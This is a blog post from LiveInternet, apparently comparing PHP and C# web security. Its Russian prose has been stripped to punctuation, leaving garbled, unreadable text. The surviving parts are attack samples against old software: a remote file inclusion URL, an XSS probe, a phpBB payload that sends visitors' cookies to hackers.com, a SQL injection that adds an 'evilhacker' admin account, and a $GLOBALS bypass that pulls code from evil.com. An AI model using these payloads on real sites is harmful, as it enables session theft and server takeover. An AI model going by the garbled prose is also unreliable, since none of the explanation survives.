-

 -

: - (0)

: ...

- (0)

« » — , ...

. - (0)

. . 1957 , ...

- - (0)

- - , "" ...

- - (0)

-   ...

 -

: 1623 : 0

 -

      Andy Mumford
Andy Mumford
05:54 16.05.2009
: 40
04:52 16.05.2009
: 1
03:00 01.01.1970
: 0

 - -

Michael and Inessa Garmash

the alureMichael and Inessa GarmashMichael and Inessa Garmash

 -

   spacesite

 - e-mail

 

 -

 -

( : 1) Photoshopinka

 -

 LiveInternet.ru:
: 15.05.2009
:
:
: 1213

:


PHP C#. ?

, 06 2010 . 19:15 +

, , , , Internet . , , . , , : , ,   - , .

, : ?

, ... ( ). , : .

, , … , , , , .

PHP web , , . , , , , PHP web , . , .

, , : , 80% ( ) PHP , , , .

, , , . , :  — ( , ), , .

, , .

?

, , , ( ), . , , eval() , , , PHP?

.include

«» PHP .. include bug. , include() ( ) . – .

, :

  • – ,
  • – register_globals.

, .

, , :

index.php?page=contacts.php

, . !

: 50 69 web , milw0rm.org 2006 ., .

. , mambo , . admin.cropcanvas.php com_cropimage 1.0. 7- :

require_once $cropimagedir."class.cropinterface.php";

, register_globals ini , cropimagedir GET , :

http://[_]/[__]/administrator/components/com_cropimage/admin.cropcanvas.php?cropimagedir=http://[_]

[_] class.cropinterface.php .

.XSS

, – « » (cross site scripting). , .

, , , (., URL), , . , .

, URL « » html , phpCommunityCalendar 4.0.3. , java script alert(‘XSS’), “XSS”:

http://[_]/[__]/week.php?LoName=<script>alert('XSS')</script>

. 2006 . , phpBB 2.0.19 html , java script , cookie :

<pre a='>' onmouseover='document.location="http://hackers.com/cookie_stealer.php?c="+document.cookie' b='<pre' > http://www.somesite.com/</pre>

, http://hackers.com/cookie_stealer.php , cookie . , .

.SQL injection

PHP – SQL .

, , SQL. , ( ) SQL . , SQL . ? , , . . proManager v.0.73, . , c evilhacker neverhack:

http://www.site.com/note.php?note_id=-1%20INSERT%20INTO%20users%20(id.username.password.name.email.can_add_user)%20values%20(1.evilhacker.neverhack.evilhacker.evilhacker@newmailserver.com.1)/*

, PHP (.. - ) . , , - , , . phpBB Invision Power.

?

, , . , , . , , !

SQL .

, SQL , PHP mysql_real_escape_string (, , MySQL PHP). MySQL, ( UTF-16). , ( ) , ( , , ?).

, , , . , PHP.

, $GLOBALS. ? , PHP , , : _GET, _POST, _COOKIE, _FILES. $GLOBALS , . .., , ( ) , , include bug. $GLOBALS ( _GET, _POST - _FILES) PHP. , , $GLOBALS, .

$GLOBALS, 2006. PHP – zend engine. PHP, , . PHP Zend’, , . , . unset() . , , - . .., unset , . , ? , unset , , , .

? . unset() , , , miniBB. , «» includeHeader, unset($includeHeader). , , . , , GET , - includeHeader. , include() :

http://site.com/index.php?includeHeader=http://www.evil.com/?&-269001946=1&-834358190=1

PHP (4 5).

, ? , PHP ? ? , . , 100% . , , «» , .

, , . , . , , , , , , , .

web .NET. , , C# C++ Java.

C# ( ).

.

, PHP. . - . , , .

, , . , , .

.

, Microsoft, C# C++ Visual Basic, .

C# C ( , , .), Java ( , ) ( ), .

, . , . , , , .

C# - . , , .

, /. ( , integer) , .

, — XML . .

. , (value types, , ValueType) . , , null ( , ).

C# , Java. , . , .

. , , .

.

  ( , ) . . , ErrorPage.

, , , C#?

 



: [1] []
 

:
: 

: ( )

:

  URL